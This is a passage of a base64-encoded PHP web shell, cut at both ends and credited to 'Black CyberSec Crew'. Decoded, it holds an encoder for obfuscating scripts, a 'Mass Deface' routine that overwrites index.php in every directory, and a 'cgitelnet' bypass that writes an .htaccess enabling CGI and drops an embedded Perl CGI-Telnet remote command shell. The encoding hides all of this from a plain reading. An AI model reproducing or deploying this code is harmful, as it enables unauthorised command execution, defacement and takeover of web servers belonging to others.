ob24uaXpvIHdpZHRoPTk2JSBoZWlnaHQ9NzYlIGZyYW1lYm9yZGVyPTA+PC9pZnJhbWU+CiAKIDwvZGl2PiI7IH0KCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdzdHJpbmcnKSl7CiR0ZXh0ID0gJF9QT1NUWydjb2RlJ107Cj8+PGNlbnRlcj48YnI+PGJyPjxiPi0tPT1bIFNjcmlwdCBFbmNvZGUgJiBEZWNvZGUgXT09LS08L2I+PGJyPjxicj4KPGZvcm0gbWV0aG9kPSJwb3N0Ij48YnI+PGJyPjxicj4KPHRleHRhcmVhIGNsYXNzPSdpbnB1dHonIGNvbHM9ODAgcm93cz0xMCBuYW1lPSJjb2RlIj48L3RleHRhcmVhPjxicj48YnI+CjxzZWxlY3QgY2xhc3M9J2lucHV0eicgc2l6ZT0iMSIgbmFtZT0ib3BlIj4KPG9wdGlvbiB2YWx1ZT0iYmFzZTY0Ij5CYXNlNjQ8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iZ3ppbmZsYXRlIj5zdHJfcm90MTMgLSBnemluZmxhdGUgLSBiYXNlNjQ8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0ic3RyIj5zdHJfcm90MTMgLSBnemluZmxhdGUgLSBzdHJfcm90MTMgLSBiYXNlNjQ8L29wdGlvbj4KPC9zZWxlY3Q+Jm5ic3A7PGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHR5cGU9J3N1Ym1pdCcgbmFtZT0nc3VibWl0JyB2YWx1ZT0nRW5jcnlwdCc+CjxpbnB1dCBjbGFzcz0naW5wdXR6YnV0JyB0eXBlPSdzdWJtaXQnIG5hbWU9J3N1Ym1pdHMnIHZhbHVlPSdEZWNyeXB0Jz4KPC9mb3JtPgoKPD9waHAgCiRzdWJtaXQgPSAkX1BPU1RbJ3N1Ym1pdCddOwppZiAoaXNzZXQoJHN1Ym1pdCkpewokb3AgPSAkX1BPU1RbIm9wZSJdOwpzd2l0Y2ggKCRvcCkge2Nhc2UgJ2Jhc2U2NCc6ICRjb2RpPWJhc2U2NF9lbmNvZGUoJHRleHQpOwpicmVhaztjYXNlICdzdHInIDogJGNvZGk9KGJhc2U2NF9lbmNvZGUoc3RyX3JvdDEzKGd6ZGVmbGF0ZShzdHJfcm90MTMoJHRleHQpKSkpKTsKYnJlYWs7Y2FzZSAnZ3ppbmZsYXRlJyA6ICRjb2RpPWJhc2U2NF9lbmNvZGUoZ3pkZWZsYXRlKHN0cl9yb3QxMygkdGV4dCkpKTsKYnJlYWs7ZGVmYXVsdDpicmVhazt9fQoKJHN1Ym1pdCA9ICRfUE9TVFsnc3VibWl0cyddOwppZiAoaXNzZXQoJHN1Ym1pdCkpewokb3AgPSAkX1BPU1RbIm9wZSJdOwpzd2l0Y2ggKCRvcCkge2Nhc2UgJ2Jhc2U2NCc6ICRjb2RpPWJhc2U2NF9kZWNvZGUoJHRleHQpOwpicmVhaztjYXNlICdzdHInIDogJGNvZGk9c3RyX3JvdDEzKGd6aW5mbGF0ZShzdHJfcm90MTMoYmFzZTY0X2RlY29kZSgoJHRleHQpKSkpKTsKYnJlYWs7Y2FzZSAnZ3ppbmZsYXRlJyA6ICRjb2RpPXN0cl9yb3QxMyhnemluZmxhdGUoYmFzZTY0X2RlY29kZSgkdGV4dCkpKTsKYnJlYWs7ZGVmYXVsdDpicmVhazt9fQoKZWNobyAnPHRleHRhcmVhIGNvbHM9ODAgcm93cz0xMCBjbGFzcz0iaW5wdXR6IiByZWFkb25seT4nLiRjb2RpLic8L3RleHRhcmVhPjwvY2VudGVyPjxCUj48QlI+JzsKCn0KCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLwoKZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdtYXNzJykpCnsKZWNobyAiPGNlbnRlci8+PGJyLz48Yj48Zm9udCBjb2xvcj0jRkYwMDAwPi0tPT1bIE1hc3MgRGVmYWNlIF09PS0tPC9mb250PjwvYj48YnI+IjsKZXJyb3JfcmVwb3J0aW5nKDApOz8+Cjxmb3JtIEVOQ1RZUEU9Im11bHRpcGFydC9mb3JtLWRhdGEiIGFjdGlvbj0iPD9waHAgJF9TRVJWRVJbJ1BIUF9TRUxGJ10/PiIgbWV0aG9kPSdwb3N0Jz4KPHRkPjx0YWJsZT48dGFibGUgY2xhc3M9InRhYm5ldCIgPgo8Zm9ybSBoZXRob3Q9J3Bvc3QnPgo8dHI+Cgk8dHI+Cgk8dGQ+Jm5ic3A7Jm5ic3A7Rm9sZGVyPC90ZD48dGQ+PGlucHV0IGNsYXNzID0naW5wdXR6JyB0eXBlPSd0ZXh0JyBuYW1lPSdwYXRoJyBzaXplPSc2MCcgdmFsdWU9Ijw/cGhwIGVjaG8gZ2V0Y3dkKCk7Pz4iPjwvdGQ+Cgk8L3RyPjxicj4KCTx0cj4KCTx0ZD5GaWxlIE48L3RkPjx0ZD48aW5wdXQgY2xhc3MgPSdpbnB1dHonIHR5cGU9J3RleHQnIG5hbWU9J2ZpbGUnIHNpemU9JzYwJyB2YWx1ZT0iaW5kZXgucGhwIj48L3RkPgoJPC90cj4KPC90cj4KPHRoIGNvbHNwYW49JzInPjxiPkluZGV4IENvZGU8L2I+PC90aD48YnI+PC90YWJsZT4KPHRleHRhcmVhIHN0eWxlPSdiYWNrZ3JvdW5kOmJsYWNrO291dGxpbmU6bm9uZTsnIG5hbWU9J2luZGV4JyByb3dzPScxMCcgY29scz0nNjcnPlBvd2VyZWQgQnkgQmxhY2sgQ3liZXJTZWMgQ3JldzwvdGV4dGFyZWE+PGJyPgo8Y2VudGVyPjxpbnB1dCBjbGFzcz0naW5wdXR6YnV0JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSImbmJzcDsmbmJzcDtEZWZhY2UmbmJzcDsmbmJzcDsiPjwvY2VudGVyPjwvZm9ybT48L3RhYmxlPjxicj48L2Zvcm0+Cgo8P3BocCAkbWFpbnBhdGg9JF9QT1NUW3BhdGhdOyRmaWxlPSRfUE9TVFtmaWxlXTskZGlyPW9wZW5kaXIoIiRtYWlucGF0aCIpOyRjb2RlPWJhc2U2NF9lbmNvZGUoJF9QT1NUW2luZGV4XSk7JGluZHg9YmFzZTY0X2RlY29kZSgkY29kZSk7d2hpbGUoJHJvdz1yZWFkZGlyKCRkaXIpKXskc3RhcnQ9QGZvcGVuKCIkcm93LyRmaWxlIiwidysiKTskZmluaXNoPUBmd3JpdGUoJHN0YXJ0LCRpbmR4KTtpZiAoJGZpbmlzaCl7ZWNobyAiJHJvdy8kZmlsZSA+IERvbmU8YnI+PGJyPiI7fX19CgovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vCgplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ2NnaScpKSB7IAplY2hvICI8Y2VudGVyLz48YnIvPjxiPjxmb250IGNvbG9yPWJsdWU+LS09PVsgY2dpdGVsbmV0LnYxICBCeXBhc3MgRXhwbG9pdF09PS0tPC9mb250PjwvYj48YnI+PGJyPiI7CiBta2RpcignY2dpdGVsbmV0MScsIDA3NTUpOwogICAgY2hkaXIoJ2NnaXRlbG5ldDEnKTsgICAgICAKICAgICAgICAka29rZG9zeWEgPSAiLmh0YWNjZXNzIjsKICAgICAgICAkZG9zeWFfYWRpID0gIiRrb2tkb3N5YSI7CiAgICAgICAgJGRvc3lhID0gZm9wZW4gKCRkb3N5YV9hZGkgLCAndycpIG9yIGRpZSAoIkRvc3lhIGEmIzIzMTsmIzMwNTtsYW1hZCYjMzA1OyEiKTsKICAgICAgICAkbWV0aW4gPSAiT3B0aW9ucyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQoKQWRkVHlwZSBhcHBsaWNhdGlvbi94LWh0dHBkLWNnaSAuY2luCgpBZGRIYW5kbGVyIGNnaS1zY3JpcHQgLmNpbgpBZGRIYW5kbGVyIGNnaS1zY3JpcHQgLmNpbiI7ICAgIAogICAgICAgIGZ3cml0ZSAoICRkb3N5YSAsICRtZXRpbiApIDsKICAgICAgICBmY2xvc2UgKCRkb3N5YSk7CiRjZ2lzaGVsbGl6b2NpbiA9ICdJeUV2ZFhOeUwySnBiaTl3WlhKc0NpTXRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwS0l5QkRiM0I1Y21sbmFIUWdZVzVrSUV4cFkyVnVZMlVLSXkwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUW9qSUVOSFNTMVVaV3h1WlhRZ1ZtVnljMmx2YmlBeExqQWdabTl5SUU1VUlHRnVaQ0JWYm1sNElEb2dVblZ1SUVOdmJXMWhibVJ6SUc5dUlIbHZkWElnVjJWaUlGTmxjblpsY2dvakNpTWdRMjl3ZVhKcFoyaDBJQ2hES1NBeU1EQXhJRkp2YUdsMFlXSWdRbUYwY21FS0l5QlFaWEp0YVhOemFXOXVJR2x6SUdkeVlXNTBaV1FnZEc4Z2RYTmxMQ0JrYVhOMGNtbGlkWFJsSUdGdVpDQnRiMlJwWm5rZ2RHaHBjeUJ6WTNKcGNIUWdjMjhnYkc5dVp3b2pJR0Z6SUhSb2FYTWdZMjl3ZVhKcFoyaDBJRzV2ZEdsalpTQnBjeUJzWldaMElHbHVkR0ZqZEM0Z1NXWWdlVzkxSUcxaGEyVWdZMmhoYm1kbGN5QjBieUIwYUdVZ2MyTnlhWEIwQ2lNZ2NHeGxZWE5sSUdSdlkzVnRaVzUwSUhSb1pXMGdZVzVrSUdsdVptOXliU0J0WlM0Z1NXWWdlVzkxSUhkdmRXeGtJR3hwYTJVZ1lXNTVJR05vWVc1blpYTWdkRzhnWW1VZ2JXRmtaUW9qSUdsdUlIUm9hWE1nYzJOeWFYQjBMQ0I1YjNVZ1kyRnVJR1V0YldGcGJDQnRaUzRLSXdvaklFRjFkR2h2Y2pvZ1VtOW9hWFJoWWlCQ1lYUnlZUW9qSUVGMWRHaHZjaUJsTFcxaGFXdzZJSEp2YUdsMFlXSkFjbTlvYVhSaFlpNWpiMjBLSXlCQmRYUm9iM0lnU0c5dFpYQmhaMlU2SUdoMGRIQTZMeTkzZDNjdWNtOW9hWFJoWWk1amIyMHZDaU1nVTJOeWFYQjBJRWh2YldWd1lXZGxPaUJvZEhSd09pOHZkM2QzTG5KdmFHbDBZV0l1WTI5dEwyTm5hWE5qY21sd2RITXZZMmRwZEdWc2JtVjBMbWgwYld3S0l5QlFjbTlrZFdOMElGTjFjSEJ2Y25RNklHaDBkSEE2THk5M2QzY3VjbTlvYVhSaFlpNWpiMjB2YzNWd2NHOXlkQzhLSXlCRWFYTmpkWE56YVc5dUlFWnZjblZ0T2lCb2RIUndPaTh2ZDNkM0xuSnZhR2wwWVdJdVkyOXRMMlJwYzJOMWMzTXZDaU1nVFdGcGJHbHVaeUJNYVhOME9pQm9kSFJ3T2k4dmQzZDNMbkp2YUdsMFlXSXVZMjl0TDIxc2FYTjBMd29qTFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRDZ29qTFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRDaU1nU1c1emRHRnNiR0YwYVc5dUNpTXRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwS0l5QlVieUJwYm5OMFlXeHNJSFJvYVhNZ2MyTnlhWEIwQ2lNS0l5QXhMaUJOYjJScFpua2dkR2hsSUdacGNuTjBJR3hwYm1VZ0lpTWhMM1Z6Y2k5aWFXNHZjR1Z5YkNJZ2RHOGdjRzlwYm5RZ2RHOGdkR2hsSUdOdmNuSmxZM1FnY0dGMGFDQnZiZ29qSUNBZ0lIbHZkWElnYzJWeWRtVnlMaUJHYjNJZ2JXOXpkQ0J6WlhKMlpYSnpMQ0I1YjNVZ2JXRjVJRzV2ZENCdVpXVmtJSFJ2SUcxdlpHbG1lU0IwYUdsekxnb2pJREl1SUVOb1lXNW5aU0IwYUdVZ2NHRnpjM2R2Y21RZ2FXNGdkR2hsSUVOdmJtWnBaM1Z5WVhScGIyNGdjMlZqZEdsdmJpQmlaV3h2ZHk0S0l5QXpMaUJKWmlCNWIzVW5jbVVnY25WdWJtbHVaeUIwYUdVZ2MyTnlhWEIwSUhWdVpHVnlJRmRwYm1SdmQzTWdUbFFzSUhObGRDQWtWMmx1VGxRZ1BTQXhJR2x1SUhSb1pRb2pJQ0FnSUVOdmJtWnBaM1Z5WVhScGIyNGdVMlZqZEdsdmJpQmlaV3h2ZHk0S0l5QTBMaUJWY0d4dllXUWdkR2hsSUhOamNtbHdkQ0IwYnlCaElHUnBjbVZqZEc5eWVTQnZiaUI1YjNWeUlITmxjblpsY2lCM2FHbGphQ0JvWVhNZ2NHVnliV2x6YzJsdmJuTWdkRzhLSXlBZ0lDQmxlR1ZqZFhSbElFTkhTU0J6WTNKcGNIUnpMaUJVYUdseklHbHpJSFZ6ZFdGc2JIa2dZMmRwTFdKcGJpNGdUV0ZyWlNCemRYSmxJSFJvWVhRZ2VXOTFJSFZ3Ykc5aFpBb2pJQ0FnSUhSb1pTQnpZM0pwY0hRZ2FXNGdRVk5EU1VrZ2JXOWtaUzRLSXlBMUxpQkRhR0Z1WjJVZ2RHaGxJSEJsY20xcGMzTnBiMjRnS0VOSVRVOUVLU0J2WmlCMGFHVWdjMk55YVhCMElIUnZJRGMxTlM0S0l5QTJMaUJQY0dWdUlIUm9aU0J6WTNKcGNIUWdhVzRnZVc5MWNpQjNaV0lnWW5KdmQzTmxjaTRnU1dZZ2VXOTFJSFZ3Ykc5aFpHVmtJSFJvWlNCelkzSnBjSFFnYVc0S0l5QWdJQ0JqWjJrdFltbHVMQ0IwYUdseklITm9iM1ZzWkNCaVpTQm9kSFJ3T2k4dmQzZDNMbmx2ZFhKelpYSjJaWEl1WTI5dEwyTm5hUzFpYVc0dlkyZHBkR1ZzYm1WMExuQnNDaU1nTnk0Z1RHOW5hVzRnZFhOcGJtY2dkR2hsSUhCaGMzTjNiM0prSUhSb1lYUWdlVzkxSUhOd1pXTnBabWxsWkNCcGJpQlRkR1Z3SURJdUNpTXRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwS0NpTXRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwS0l5QkRiMjVtYVdkMWNtRjBhVzl1T2lCWmIzVWdibVZsWkNCMGJ5QmphR0Z1WjJVZ2IyNXNlU0FrVUdGemMzZHZjbVFnWVc1a0lDUlhhVzVPVkM0Z1ZHaGxJRzkwYUdWeUNpTWdkbUZzZFdWeklITm9iM1ZzWkNCM2IzSnJJR1pwYm1VZ1ptOXlJRzF2YzNRZ2MzbHpkR1Z0Y3k0S0l5MHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFFva1VHRnpjM2R2Y21RZ1BTQWlNVEl6TkRVMklqc0pDU01nUTJoaGJtZGxJSFJvYVhNdUlGbHZkU0IzYVd4c0lHNWxaV1FnZEc4Z1pXNTBaWElnZEdocGN3b0pDUWtKSXlCMGJ5QnNiMmRwYmk0S0NpUlhhVzVPVkNBOUlEQTdDUWtKSXlCWmIzVWdibVZsWkNCMGJ5QmphR0Z1WjJVZ2RHaGxJSFpoYkhWbElHOW1JSFJvYVhNZ2RHOGdNU0JwWmdvSkNRa0pJeUI1YjNVbmNtVWdjblZ1Ym1sdVp5QjBhR2x6SUhOamNtbHdkQ0J2YmlCaElGZHBibVJ2ZDNNZ1RsUUtDUWtKQ1NNZ2JXRmphR2x1WlM0Z1NXWWdlVzkxSjNKbElISjFibTVwYm1jZ2FYUWdiMjRnVlc1cGVDd2dlVzkxQ2drSkNRa2pJR05oYmlCc1pXRjJaU0IwYUdVZ2RtRnNkV1VnWVhNZ2FYUWdhWE11Q2dva1RsUkRiV1JUWlhBZ1BTQWlKaUk3Q1FraklGUm9hWE1nWTJoaGNtRmpkR1Z5SUdseklIVnpaV1FnZEc4Z2MyVndaWEpoZEdVZ01pQmpiMjF0WVc1a2N3b0pDUWtKSXlCcGJpQmhJR052YlcxaGJtUWdiR2x1WlNCdmJpQlhhVzVrYjNkeklFNVVMZ29LSkZWdWFYaERiV1JUWlhBZ1BTQWlPeUk3Q1FraklGUm9hWE1nWTJoaGNtRmpkR1Z5SUdseklIVnpaV1FnZEc4Z2MyVndaWEpoZEdVZ01pQmpiMjF0WVc1a2N3b0pDUWtKSXlCcGJpQmhJR052YlcxaGJtUWdiR2x1WlNCdmJpQlZibWw0TGdvS0pFTnZiVzFoYm1SVWFXMWxiM1YwUkhWeVlYUnBiMjRnUFNBeE1Ec0pJeUJVYVcxbElHbHVJSE5sWTI5dVpITWdZV1owWlhJZ1kyOXRiV0Z1WkhNZ2QybHNiQ0JpWlNCcmFXeHNaV1FLQ1FrSkNTTWdSRzl1SjNRZ2MyVjBJSFJvYVhNZ2RHOGdZU0IyWlhKNUlHeGhjbWRsSUhaaGJIVmxMaUJVYUdseklHbHpDZ2tKQ1FraklIVnpaV1oxYkNCbWIzSWdZMjl0YldGdVpITWdkR2hoZENCdFlYa2dhR0Z1WnlCdmNpQjBhR0YwQ2drSkNRa2pJSFJoYTJVZ2RtVnllU0JzYjI1bklIUnZJR1Y0WldOMWRHVXNJR3hwYTJVZ0ltWnBibVFnTHlJdUNna0pDUWtqSUZSb2FYTWdhWE1nZG1Gc2FXUWdiMjVzZVNCdmJpQlZibWw0SUhObGNuWmxjbk11SUVsMElHbHpDZ2tKQ1FraklHbG5ibTl5WldRZ2IyNGdUbFFnVTJWeWRtVnljeTRLQ2lSVGFHOTNSSGx1WVcxcFkwOTFkSEIxZENBOUlERTdDUWtqSUVsbUlIUm9hWE1nYVhNZ01Td2dkR2hsYmlCa1lYUmhJR2x6SUhObGJuUWdkRzhnZEdobENna0pDUWtqSUdKeWIzZHpaWElnWVhNZ2MyOXZiaUJoY3lCcGRDQnBjeUJ2ZFhSd2RYUXNJRzkwYUdWeWQybHpaUW9KQ1FrSkl5QnBkQ0JwY3lCaWRXWm1aWEpsWkNCaGJtUWdjMlZ1WkNCM2FHVnVJSFJvWlNCamIyMXRZVzVrQ2drSkNRa2pJR052YlhCc1pYUmxjeTRnVkdocGN5QnBjeUIxYzJWbWRXd2dabTl5SUdOdmJXMWhibVJ6SUd4cGEyVUtDUWtKQ1NNZ2NHbHVaeXdnYzI4Z2RHaGhkQ0I1YjNVZ1kyRnVJSE5sWlNCMGFHVWdiM1YwY0hWMElHRnpJR2wwQ2drSkNRa2pJR2x6SUdKbGFXNW5JR2RsYm1WeVlYUmxaQzRLQ2lNZ1JFOU9KMVFnUTBoQlRrZEZJRUZPV1ZSSVNVNUhJRUpGVEU5WElGUklTVk1nVEVsT1JTQlZUa3hGVTFNZ1dVOVZJRXRPVDFjZ1YwaEJWQ0JaVDFVblVrVWdSRTlKVGtjZ0lTRUtDaVJEYldSVFpYQWdQU0FvSkZkcGJrNVVJRDhnSkU1VVEyMWtVMlZ3SURvZ0pGVnVhWGhEYldSVFpYQXBPd29rUTIxa1VIZGtJRDBnS0NSWGFXNU9WQ0EvSUNKalpDSWdPaUFpY0hka0lpazdDaVJRWVhSb1UyVndJRDBnS0NSWGFXNU9WQ0EvSUNKY1hDSWdPaUFpTHlJcE93b2tVbVZrYVhKbFkzUnZjaUE5SUNna1YybHVUbFFnUHlBaUlESStKakVnTVQ0bU1pSWdPaUFpSURFK0pqRWdNajRtTVNJcE93b0tJeTB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExRb2pJRkpsWVdSeklIUm9aU0JwYm5CMWRDQnpaVzUwSUdKNUlIUm9aU0JpY205M2MyVnlJR0Z1WkNCd1lYSnpaWE1nZEdobElHbHVjSFYwSUhaaGNtbGhZbXhsY3k0Z1NYUUtJeUJ3WVhKelpYTWdSMFZVTENCUVQxTlVJR0Z1WkNCdGRXeDBhWEJoY25RdlptOXliUzFrWVhSaElIUm9ZWFFnYVhNZ2RYTmxaQ0JtYjNJZ2RYQnNiMkZrYVc1bklHWnBiR1Z6TGdvaklGUm9aU0JtYVd4bGJtRnRaU0JwY3lCemRHOXlaV1FnYVc0Z0pHbHVleWRtSjMwZ1lXNWtJSFJvWlNCa1lYUmhJR2x6SUhOMGIzSmxaQ0JwYmlBa2FXNTdKMlpwYkdWa1lYUmhKMzB1Q2lNZ1QzUm9aWElnZG1GeWFXRmliR1Z6SUdOaGJpQmlaU0JoWTJObGMzTmxaQ0IxYzJsdVp5QWthVzU3SjNaaGNpZDlMQ0IzYUdWeVpTQjJZWElnYVhNZ2RHaGxJRzVoYldVZ2IyWUtJeUIwYUdVZ2RtRnlhV0ZpYkdVdUlFNXZkR1U2SUUxdmMzUWdiMllnZEdobElHTnZaR1VnYVc0Z2RHaHBjeUJtZFc1amRHbHZiaUJwY3lCMFlXdGxiaUJtY205dElHOTBhR1Z5SUVOSFNRb2pJSE5qY21sd2RITXVDaU10TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMEtjM1ZpSUZKbFlXUlFZWEp6WlNBS2V3b0piRzlqWVd3Z0tDcHBiaWtnUFNCQVh5QnBaaUJBWHpzS0NXeHZZMkZzSUNna2FTd2dKR3h2WXl3Z0pHdGxlU3dnSkhaaGJDazdDZ2tLQ1NSTmRXeDBhWEJoY25SR2IzSnRSR0YwWVNBOUlDUkZUbFo3SjBOUFRsUkZUbFJmVkZsUVJTZDlJRDErSUM5dGRXeDBhWEJoY25SY0wyWnZjbTB0WkdGMFlUc2dZbTkxYm1SaGNuazlLQzRyS1NRdk93b0tDV2xtS0NSRlRsWjdKMUpGVVZWRlUxUmZUVVZVU0U5RUozMGdaWEVnSWtkRlZDSXBDZ2w3Q2drSkpHbHVJRDBnSkVWT1Zuc25VVlZGVWxsZlUxUlNTVTVISjMwN0NnbDlDZ2xsYkhOcFppZ2tSVTVXZXlkU1JWRlZSVk5VWDAxRlZFaFBSQ2Q5SUdWeElDSlFUMU5VSWlrS0NYc0tDUWxpYVc1dGIyUmxLRk5VUkVsT0tTQnBaaUFrVFhWc2RHbHdZWEowUm05eWJVUmhkR0VnSmlBa1YybHVUbFE3Q2drSmNtVmhaQ2hUVkVSSlRpd2dKR2x1TENBa1JVNVdleWREVDA1VVJVNVVYMHhGVGtkVVNDZDlLVHNLQ1gwS0Nna2pJR2hoYm1Sc1pTQm1hV3hsSUhWd2JHOWhaQ0JrWVhSaENnbHBaaWdrUlU1V2V5ZERUMDVVUlU1VVgxUlpVRVVuZlNBOWZpQXZiWFZzZEdsd1lYSjBYQzltYjNKdExXUmhkR0U3SUdKdmRXNWtZWEo1UFNndUt5a2tMeWtLQ1hzS0NRa2tRbTkxYm1SaGNua2dQU0FuTFMwbkxpUXhPeUFqSUhCc1pXRnpaU0J5WldabGNpQjBieUJTUmtNeE9EWTNJQW9KQ1VCc2FYTjBJRDBnYzNCc2FYUW9MeVJDYjNWdVpHRnllUzhzSUNScGJpazdJQW9KQ1NSSVpXRmtaWEpDYjJSNUlEMGdKR3hwYzNSYk1WMDdDZ2tKSkVobFlXUmxja0p2WkhrZ1BYNGdMMXh5WEc1Y2NseHVmRnh1WEc0dk93b0pDU1JJWldGa1pYSWdQU0FrWURzS0NRa2tRbTlrZVNBOUlDUW5Pd29nQ1Fra1FtOWtlU0E5ZmlCekwxeHlYRzRrTHk4N0lDTWdkR2hsSUd4aGMzUWdYSEpjYmlCM1lYTWdjSFYwSUdsdUlHSjVJRTVsZEhOallYQmxDZ2tKSkdsdWV5ZG1hV3hsWkdGMFlTZDlJRDBnSkVKdlpIazdDZ2tKSkVobFlXUmxjaUE5ZmlBdlptbHNaVzVoYldVOVhDSW9MaXNwWENJdk95QUtDUWtrYVc1N0oyWW5mU0E5SUNReE95QUtDUWtrYVc1N0oyWW5mU0E5ZmlCekwxd2lMeTluT3dvSkNTUnBibnNuWmlkOUlEMStJSE12WEhNdkwyYzdDZ29KQ1NNZ2NHRnljMlVnZEhKaGFXeGxjZ29KQ1dadmNpZ2thVDB5T3lBa2JHbHpkRnNrYVYwN0lDUnBLeXNwQ2drSmV5QUtDUWtKSkd4cGMzUmJKR2xkSUQxK0lITXZYaTRyYm1GdFpUMGtMeTg3Q2drSkNTUnNhWE4wV3lScFhTQTlmaUF2WENJb1hIY3JLVndpTHpzS0NRa0pKR3RsZVNBOUlDUXhPd29KQ1Fra2RtRnNJRDBnSkNjN0Nna0pDU1IyWVd3Z1BYNGdjeThvWGloY2NseHVYSEpjYm54Y2JseHVLU2w4S0Z4eVhHNGtmRnh1SkNrdkwyYzdDZ2tKQ1NSMllXd2dQWDRnY3k4bEtDNHVLUzl3WVdOcktDSmpJaXdnYUdWNEtDUXhLU2t2WjJVN0Nna0pDU1JwYm5za2EyVjVmU0E5SUNSMllXdzdJQW9KQ1gwS0NYMEtDV1ZzYzJVZ0l5QnpkR0Z1WkdGeVpDQndiM04wSUdSaGRHRWdLSFZ5YkNCbGJtTnZaR1ZrTENCdWIzUWdiWFZzZEdsd1lYSjBLUW9KZXdvSkNVQnBiaUE5SUhOd2JHbDBLQzhtTHl3Z0pHbHVLVHNLQ1FsbWIzSmxZV05vSUNScElDZ3dJQzR1SUNRamFXNHBDZ2tKZXdvSkNRa2thVzViSkdsZElEMStJSE12WENzdklDOW5Pd29KQ1Frb0pHdGxlU3dnSkhaaGJDa2dQU0J6Y0d4cGRDZ3ZQUzhzSUNScGJsc2thVjBzSURJcE93b0pDUWtrYTJWNUlEMStJSE12SlNndUxpa3ZjR0ZqYXlnaVl5SXNJR2hsZUNna01Ta3BMMmRsT3dvSkNRa2tkbUZzSUQxK0lITXZKU2d1TGlrdmNHRmpheWdpWXlJc0lHaGxlQ2drTVNrcEwyZGxPd29KQ1Fra2FXNTdKR3RsZVgwZ0xqMGdJbHd3SWlCcFppQW9aR1ZtYVc1bFpDZ2thVzU3Skd0bGVYMHBLVHNLQ1FrSkpHbHVleVJyWlhsOUlDNDlJQ1IyWVd3N0Nna0pmUW9KZlFwOUNnb2pMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdENpTWdVSEpwYm5SeklIUm9aU0JJVkUxTUlGQmhaMlVnU0dWaFpHVnlDaU1nUVhKbmRXMWxiblFnTVRvZ1JtOXliU0JwZEdWdElHNWhiV1VnZEc4Z2QyaHBZMmdnWm05amRYTWdjMmh2ZFd4a0lHSmxJSE5sZEFvakxTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0Q25OMVlpQlFjbWx1ZEZCaFoyVklaV0ZrWlhJS2V3b0pKRVZ1WTI5a1pXUkRkWEp5Wlc1MFJHbHlJRDBnSkVOMWNuSmxiblJFYVhJN0Nna2tSVzVqYjJSbFpFTjFjbkpsYm5SRWFYSWdQWDRnY3k4b1cxNWhMWHBCTFZvd0xUbGRLUzhuSlNjdWRXNXdZV05yS0NKSUt